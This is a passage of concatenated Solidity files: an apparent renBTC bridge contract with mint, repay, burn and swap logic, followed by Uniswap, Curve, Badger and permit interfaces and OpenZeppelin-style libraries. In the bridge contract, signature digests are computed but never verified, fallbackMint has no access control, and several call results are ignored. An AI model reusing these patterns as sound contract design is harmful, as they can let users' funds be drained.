address constant router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant wbtc = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
address constant renbtc = 0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D;
address constant renCrv = 0x93054188d876f558f4a66B2EF1d97d16eDf0895B;
address constant tricrypto = 0x80466c64868E1ab14a1Ddf27A676C3fcBE638Fe5;
address constant renCrvLp = 0x49849C98ae39Fff122806C06791Fa73784FB3675;
address constant bCrvRen = 0x6dEf55d2e18486B9dDfaA075bc4e4EE0B28c1545;
address constant settPeak = 0x41671BA1abcbA387b9b2B752c205e22e916BE6e3;
address constant ibbtc = 0xc4E15973E6fF2A35cC804c2CF9D2a1b817a8b40F;
uint256 public governanceFee;
bytes32 constant PERMIT_TYPEHASH = 0xea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb;
bytes32 constant LOCK_SLOT = keccak256('upgrade-lock');
uint256 constant GAS_COST = uint256(37e4);
uint256 constant IBBTC_GAS_COST = uint256(7e5);
uint256 constant ETH_RESERVE = uint256(5 ether);
uint256 internal renbtcForOneETHPrice;
uint256 internal burnFee;
uint256 public keeperReward;
uint256 public constant REPAY_GAS_DIFF = 41510;
uint256 public constant BURN_GAS_DIFF = 41118;
mapping(address => uint256) public nonces;
bytes32 internal PERMIT_DOMAIN_SEPARATOR_WBTC;
bytes32 internal PERMIT_DOMAIN_SEPARATOR_IBBTC;
function setStrategist(address _strategist) public {
require(msg.sender == governance, '!governance');
strategist = _strategist;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, '!governance');
governance = _governance;
}
function approveUpgrade(bool lock) public {
bool isLocked;
bytes32 lock_slot = LOCK_SLOT;
assembly {
isLocked := sload(lock_slot)
}
require(!isLocked, 'cannot run upgrade function');
assembly {
sstore(lock_slot, lock)
}
IERC20(wbtc).safeApprove(router, ~uint256(0) >> 2);
}
function computeCalldataGasDiff() internal pure returns (uint256 diff) {
if (true) return 0; // TODO: implement exact gas metering
// EVM charges less for zero bytes, we must compute the offset for refund
// TODO make this efficient
uint256 sz;
assembly {
sz := calldatasize()
}
diff = sz.mul(uint256(68));
bytes memory slice;
for (uint256 i = 0; i < sz; i += 0x20) {
uint256 word;
assembly {
word := calldataload(i)
}
for (uint256 i = 0; i < 256 && ((uint256(~0) << i) & word) != 0; i += 8) {
if ((word >> i) & 0xff != 0) diff -= 64;
}
}
}
function getChainId() internal pure returns (uint256 result) {
assembly {
result := chainid()
}
}
function setParameters(
uint256 _governanceFee,
uint256 _fee,
uint256 _burnFee,
uint256 _keeperReward
) public {
require(governance == msg.sender, '!governance');
governanceFee = _governanceFee;
fee = _fee;
burnFee = _burnFee;
keeperReward = _keeperReward;
}
function initialize(address _governance, address _strategist) public initializer {
fee = uint256(25e14);
burnFee = uint256(4e15);
governanceFee = uint256(5e17);
governance = _governance;
strategist = _strategist;
keeperReward = uint256(1 ether).div(1000);
IERC20(renbtc).safeApprove(btcGateway, ~uint256(0) >> 2);
IERC20(renbtc).safeApprove(renCrv, ~uint256(0) >> 2);
IERC20(wbtc).safeApprove(renCrv, ~uint256(0) >> 2);
IERC20(wbtc).safeApprove(tricrypto, ~uint256(0) >> 2);
IERC20(renCrvLp).safeApprove(bCrvRen, ~uint256(0) >> 2);
IERC20(bCrvRen).safeApprove(settPeak, ~uint256(0) >> 2);
IERC20(renbtc).safeApprove(router, ~uint256(0) >> 2);
IERC20(usdc).safeApprove(router, ~uint256(0) >> 2);
PERMIT_DOMAIN_SEPARATOR_WBTC = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256('WBTC'),
keccak256('1'),
getChainId(),
wbtc
)
);
PERMIT_DOMAIN_SEPARATOR_IBBTC = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256('ibBTC'),
keccak256('1'),
getChainId(),
ibbtc
)
);
}
function applyRatio(uint256 v, uint256 n) internal pure returns (uint256 result) {
result = v.mul(n).div(uint256(1 ether));
}
function toWBTC(uint256 amount) internal returns (uint256 amountOut) {
uint256 amountStart = IERC20(wbtc).balanceOf(address(this));
(bool success, ) = renCrv.call(abi.encodeWithSelector(IRenCrv.exchange.selector, 0, 1, amount));
amountOut = IERC20(wbtc).balanceOf(address(this)).sub(amountStart);
}
function fromWBTC(uint256 amount) internal returns (uint256 amountOut) {
uint256 amountStart = IERC20(renbtc).balanceOf(address(this));
(bool success, ) = renCrv.call(abi.encodeWithSelector(IRenCrv.exchange.selector, 1, 0, amount));
amountOut = IERC20(renbtc).balanceOf(address(this)).sub(amountStart);
}
function toIBBTC(uint256 amountIn) internal returns (uint256 amountOut) {
uint256[2] memory amounts;
amounts[0] = amountIn;
(bool success, ) = renCrv.call(abi.encodeWithSelector(ICurveFi.add_liquidity.selector, amounts, 0));
require(success, '!curve');
ISett(bCrvRen).deposit(IERC20(renCrvLp).balanceOf(address(this)));
amountOut = IBadgerSettPeak(settPeak).mint(0, IERC20(bCrvRen).balanceOf(address(this)), new bytes32[](0));
}
function toUSDC(uint256 amountIn, address out) internal returns (uint256 amountOut) {
uint256 wbtcAmountIn = toWBTC(amountIn);
address[] memory path = new address[](2);
path[0] = wbtc;
path[1] = usdc;
uint256[] memory amountsOut = IUniswapV2Router02(router).swapExactTokensForTokens(
wbtcAmountIn,
1,
path,
out,
block.timestamp + 1
);
amountOut = amountsOut[1];
}
function quote() internal {
(uint256 amountWeth, uint256 amountRenBTC) = UniswapV2Library.getReserves(factory, weth, renbtc);
renbtcForOneETHPrice = UniswapV2Library.quote(uint256(1 ether), amountWeth, amountRenBTC);
}
function renBTCtoETH(uint256 amountIn, address out) internal returns (uint256 amountOut) {
uint256 wbtcAmountOut = toWBTC(amountIn);
address[] memory path = new address[](2);
path[0] = wbtc;
path[1] = weth;
uint256[] memory amountsOut = IUniswapV2Router02(router).swapExactTokensForTokens(
wbtcAmountOut,
1,
path,
out,
block.timestamp + 1
);
amountOut = amountsOut[1];
}
function fromIBBTC(uint256 amountIn) internal returns (uint256 amountOut) {
uint256 amountStart = IERC20(renbtc).balanceOf(address(this));
IBadgerSettPeak(settPeak).redeem(0, amountIn);
ISett(bCrvRen).withdraw(IERC20(bCrvRen).balanceOf(address(this)));
(bool success, ) = renCrv.call(
abi.encodeWithSelector(
ICurveFi.remove_liquidity_one_coin.selector,
IERC20(renCrvLp).balanceOf(address(this)),
0,
0
)
);
require(success, '!curve');
amountOut = IERC20(renbtc).balanceOf(address(this)).sub(amountStart);
}
function fromUSDC(uint256 amountIn) internal returns (uint256 amountOut) {
address[] memory path = new address[](2);
path[0] = usdc;
path[1] = wbtc;
uint256[] memory amountsOut = IUniswapV2Router02(router).swapExactTokensForTokens(
amountIn,
1,
path,
address(this),
block.timestamp + 1
);
amountOut = fromWBTC(amountsOut[1]);
}
function toRenBTC(uint256 amountIn) internal returns (uint256 amountOut) {
uint256 balanceStart = IERC20(renbtc).balanceOf(address(this));
(bool success, ) = renCrv.call(abi.encodeWithSelector(IRenCrv.exchange.selector, 1, 0, amountIn));
amountOut = IERC20(renbtc).balanceOf(address(this)).sub(balanceStart);
}
function fromETHToRenBTC(uint256 amountIn) internal returns (uint256 amountOut) {
uint256 amountStart = IERC20(renbtc).balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = weth;
path[1] = wbtc;
uint256[] memory amountsOut = IUniswapV2Router02(router).swapExactETHForTokens{value: amountIn}(
1,
path,
address(this),
block.timestamp + 1
);
(bool success, ) = renCrv.call(abi.encodeWithSelector(IRenCrv.exchange.selector, 1, 0, amountsOut[1], 1));
require(success, '!curve');
amountOut = IERC20(renbtc).balanceOf(address(this)).sub(amountStart);
}
function toETH() internal returns (uint256 amountOut) {
uint256 wbtcStart = IERC20(wbtc).balanceOf(address(this));
uint256 amountStart = address(this).balance;
(bool success, ) = tricrypto.call(
abi.encodeWithSelector(ICurveETHUInt256.exchange.selector, 1, 2, wbtcStart, 0, true)
);
amountOut = address(this).balance.sub(amountStart);
}
receive() external payable {
// no-op
}
function earn() public {
quote();
toWBTC(IERC20(renbtc).balanceOf(address(this)));
toETH();
uint256 balance = address(this).balance;
if (balance > ETH_RESERVE) {
uint256 output = balance - ETH_RESERVE;
uint256 toGovernance = applyRatio(output, governanceFee);
address payable governancePayable = address(uint160(governance));
governancePayable.transfer(toGovernance);
address payable strategistPayable = address(uint160(strategist));
strategistPayable.transfer(output.sub(toGovernance));
}
}
function computeRenBTCGasFee(uint256 gasCost, uint256 gasPrice) internal view returns (uint256 result) {
result = gasCost.mul(tx.gasprice).mul(renbtcForOneETHPrice).div(uint256(1 ether));
}
function deductMintFee(uint256 amountIn, uint256 multiplier) internal view returns (uint256 amount) {
amount = amountIn.sub(applyFee(amountIn, fee, multiplier));
}
function deductIBBTCMintFee(uint256 amountIn, uint256 multiplier) internal view returns (uint256 amount) {
amount = amountIn.sub(applyIBBTCFee(amountIn, fee, multiplier));
}
function deductBurnFee(uint256 amountIn, uint256 multiplier) internal view returns (uint256 amount) {
amount = amountIn.sub(applyFee(amountIn, burnFee, multiplier));
}
function deductIBBTCBurnFee(uint256 amountIn, uint256 multiplier) internal view returns (uint256 amount) {
amount = amountIn.sub(applyIBBTCFee(amountIn, burnFee, multiplier));
}
function applyFee(
uint256 amountIn,
uint256 _fee,
uint256 multiplier
) internal view returns (uint256 amount) {
amount = computeRenBTCGasFee(GAS_COST.add(keeperReward.div(tx.gasprice)), tx.gasprice).add(
applyRatio(amountIn, _fee)
);
}
function applyIBBTCFee(
uint256 amountIn,
uint256 _fee,
uint256 multiplier
) internal view returns (uint256 amount) {
amount = computeRenBTCGasFee(IBBTC_GAS_COST.add(keeperReward.div(tx.gasprice)), tx.gasprice).add(
applyRatio(amountIn, _fee)
);
}
struct LoanParams {
address to;
address asset;
uint256 nonce;
uint256 amount;
address module;
address underwriter;
bytes data;
uint256 _mintAmount;
uint256 gasDiff;
}
function toTypedDataHash(LoanParams memory params) internal view returns (bytes32 result) {
bytes32 digest = _hashTypedDataV4(
keccak256(
abi.encode(
keccak256(
'TransferRequest(address asset,uint256 amount,address underwriter,address module,uint256 nonce,bytes data)'
),
params.asset,
params.amount,
params.underwriter,
params.module,
params.nonce,
keccak256(params.data)
)
)
);
return digest;
}
function repay(
address underwriter,
address to,
address asset,
uint256 amount,
uint256 actualAmount,
uint256 nonce,
address module,
bytes32 nHash,
bytes memory data,
bytes memory signature
) public returns (uint256 amountOut) {
uint256 _gasBefore = gasleft();
LoanParams memory params;
{
require(
module == wbtc || module == usdc || module == ibbtc || module == renbtc || module == address(0x0),
'!approved-module'
);
params = LoanParams({
to: to,
asset: asset,
amount: amount,
nonce: nonce,
module: module,
underwriter: underwriter,
data: data,
_mintAmount: 0,
gasDiff: computeCalldataGasDiff()
});
}
bytes32 digest = toTypedDataHash(params);
params._mintAmount = IGateway(btcGateway).mint(
keccak256(abi.encode(params.to, params.nonce, params.module, params.data)),
actualAmount,
nHash,
signature
);
{
amountOut = module == wbtc ? toWBTC(deductMintFee(params._mintAmount, 1)) : module == address(0x0)
? renBTCtoETH(deductMintFee(params._mintAmount, 1), to)
: module == usdc
? toUSDC(deductMintFee(params._mintAmount, 1), to)
: module == ibbtc
? toIBBTC(deductIBBTCMintFee(params._mintAmount, 3))
: deductMintFee(params._mintAmount, 1);
}
{
if (module != usdc && module != address(0x0)) IERC20(module).safeTransfer(to, amountOut);
}
{
tx.origin.transfer(
Math.min(
_gasBefore.sub(gasleft()).add(REPAY_GAS_DIFF).add(params.gasDiff).mul(tx.gasprice).add(
keeperReward
),
address(this).balance
)
);
}
}
function computeBurnNonce(BurnLocals memory params) internal view returns (uint256 result) {
result = uint256(
keccak256(abi.encodePacked(params.asset, params.amount, params.deadline, params.nonce, params.destination))
);
while (result < block.timestamp) {
// negligible probability of this
result = uint256(keccak256(abi.encodePacked(result)));
}
}
function computeERC20PermitDigest(bytes32 domainSeparator, BurnLocals memory params)
internal
view
returns (bytes32 result)
{
result = keccak256(
abi.encodePacked(
'\x19\x01',
domainSeparator,
keccak256(
abi.encode(PERMIT_TYPEHASH, params.to, address(this), params.nonce, computeBurnNonce(params), true)
)
)
);
}
struct BurnLocals {
address to;
address asset;
uint256 amount;
uint256 deadline;
uint256 nonce;
uint256 burnNonce;
uint256 gasBefore;
uint256 gasDiff;
uint8 v;
bytes32 r;
bytes32 s;
bytes destination;
bytes signature;
}
function burn(
address to,
address asset,
uint256 amount,
uint256 deadline,
bytes memory destination,
bytes memory signature
) public returns (uint256 amountToBurn) {
BurnLocals memory params = BurnLocals({
to: to,
asset: asset,
amount: amount,
deadline: deadline,
nonce: 0,
burnNonce: 0,
v: uint8(0),
r: bytes32(0),
s: bytes32(0),
destination: destination,
signature: signature,
gasBefore: gasleft(),
gasDiff: 0
});
{
params.gasDiff = computeCalldataGasDiff();
}
require(block.timestamp < params.deadline, '!deadline');
if (params.asset == wbtc) {
params.nonce = nonces[to];
nonces[params.to]++;
require(
params.to ==
ECDSA.recover(computeERC20PermitDigest(PERMIT_DOMAIN_SEPARATOR_WBTC, params), params.signature),
'!signature'
); // wbtc does not implement ERC20Permit
{
IERC20(params.asset).transferFrom(params.to, address(this), params.amount);
amountToBurn = toRenBTC(deductBurnFee(params.amount, 1));
}
} else if (asset == ibbtc) {
params.nonce = nonces[to];
nonces[to]++;
require(
params.to ==
ECDSA.recover(computeERC20PermitDigest(PERMIT_DOMAIN_SEPARATOR_IBBTC, params), params.signature),
'!signature'
); // wbtc ibbtc do not implement ERC20Permit
{
IERC20(params.asset).transferFrom(params.to, address(this), params.amount);
amountToBurn = deductIBBTCBurnFee(fromIBBTC(params.amount), 3);
}
} else if (params.asset == renbtc) {
{
params.nonce = IERC2612Permit(params.asset).nonces(params.to);
params.burnNonce = computeBurnNonce(params);
}
{
(params.v, params.r, params.s) = SplitSignatureLib.splitSignature(params.signature);
IERC2612Permit(params.asset).permit(
params.to,
address(this),
params.nonce,
params.burnNonce,
true,
params.v,
params.r,
params.s
);
}
{
IERC20(params.asset).transferFrom(params.to, address(this), params.amount);
}
amountToBurn = deductBurnFee(params.amount, 1);
} else if (params.asset == usdc) {
{
params.nonce = IERC2612Permit(params.asset).nonces(params.to);
params.burnNonce = computeBurnNonce(params);
}
{
(params.v, params.r, params.s) = SplitSignatureLib.splitSignature(params.signature);
IERC2612Permit(params.asset).permit(
params.to,
address(this),
params.amount,
params.burnNonce,
params.v,
params.r,
params.s
);
}
{
IERC20(params.asset).transferFrom(params.to, address(this), params.amount);
}
amountToBurn = deductBurnFee(fromUSDC(params.amount), 1);
} else revert('!supported-asset');
{
IGateway(btcGateway).burn(params.destination, amountToBurn);
}
{
tx.origin.transfer(
Math.min(
params.gasBefore.sub(gasleft()).add(BURN_GAS_DIFF).add(params.gasDiff).mul(tx.gasprice).add(
keeperReward
),
address(this).balance
)
);
}
}
function burnETH(bytes memory destination) public payable returns (uint256 amountToBurn) {
amountToBurn = fromETHToRenBTC(msg.value.sub(applyRatio(msg.value, burnFee)));
IGateway(btcGateway).burn(destination, amountToBurn);
}
function fallbackMint(
address underwriter,
address to,
address asset,
uint256 amount,
uint256 actualAmount,
uint256 nonce,
address module,
bytes32 nHash,
bytes memory data,
bytes memory signature
) public {
LoanParams memory params = LoanParams({
to: to,
asset: asset,
amount: amount,
nonce: nonce,
module: module,
underwriter: underwriter,
data: data,
_mintAmount: 0,
gasDiff: 0
});
bytes32 digest = toTypedDataHash(params);
uint256 _actualAmount = IGateway(btcGateway).mint(
keccak256(abi.encode(params.to, params.nonce, params.module, params.data)),
actualAmount,
nHash,
signature
);
IERC20(asset).safeTransfer(to, _actualAmount);
}
}
pragma solidity >=0.6.2;
import './IUniswapV2Router01.sol';
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity >=0.5.0;
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import "@openzeppelin/contracts/math/SafeMath.sol";
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
)))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
/**
@title helper functions for the Zero contract suite
@author raymondpulver
*/
library ZeroLib {
enum LoanStatusCode {
UNINITIALIZED,
UNPAID,
PAID
}
struct LoanParams {
address to;
address asset;
uint256 amount;
uint256 nonce;
address module;
bytes data;
}
struct MetaParams {
address from;
uint256 nonce;
bytes data;
address module;
address asset;
}
struct LoanStatus {
address underwriter;
LoanStatusCode status;
}
struct BalanceSheet {
uint128 loaned;
uint128 required;
uint256 repaid;
}
}
interface IERC2612Permit {
/**
* @dev Sets `amount` as the allowance of `spender` over `owner`'s tokens,
* given `owner`'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address holder,
address spender,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) external;
function permit(
address holder,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current ERC2612 nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
interface IRenCrv {
function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
library SplitSignatureLib {
function splitSignature(bytes memory signature)
internal
pure
returns (
uint8 v,
bytes32 r,
bytes32 s
)
{
if (signature.length == 65) {
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
} else if (signature.length == 64) {
assembly {
r := mload(add(signature, 0x20))
let vs := mload(add(signature, 0x40))
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
interface IBadgerSettPeak {
function mint(uint256, uint256, bytes32[] calldata) external returns (uint256);
function redeem(uint256, uint256) external returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
interface ICurveFi {
function add_liquidity(uint256[2] calldata amounts, uint256 idx) external;
function remove_liquidity_one_coin(uint256, int128, uint256) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
interface IMintGateway {
function mint(
bytes32 _pHash,
uint256 _amount,
bytes32 _nHash,
bytes calldata _sig
) external returns (uint256);
function mintFee() external view returns (uint256);
}
interface IBurnGateway {
function burn(bytes memory _to, uint256 _amountScaled) external returns (uint256);
function burnFee() external view returns (uint256);
}
interface IGateway is IMintGateway, IBurnGateway {
}
/*
interface IGateway is IMintGateway, IBurnGateway {
function mint(
bytes32 _pHash,
uint256 _amount,
bytes32 _nHash,
bytes calldata _sig
) external returns (uint256);
function mintFee() external view returns (uint256);
function burn(bytes calldata _to, uint256 _amountScaled)
external
returns (uint256);
function burnFee() external view returns (uint256);
}
*/
pragma solidity >=0.6.0<0.8.0;
interface ICurveETHUInt256 {
function exchange(
uint256 i,
uint256 j,
uint256 dx,
uint256 min_dy,
bool use_eth
) external payable returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity >=0.6.0<0.8.0;
import {IERC20} from 'oz410/token/ERC20/IERC20.sol';
abstract contract IyVault is IERC20 {
function pricePerShare() external view virtual returns (uint256);
function getPricePerFullShare() external view virtual returns (uint256);
function totalAssets() external view virtual returns (uint256);
function deposit(uint256 _amount) external virtual returns (uint256);
function withdraw(uint256 maxShares) external virtual returns (uint256);
function want() external virtual returns (address);
function decimals() external view virtual returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
interface ISett {
function deposit(uint256) external;
function withdraw(uint256) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
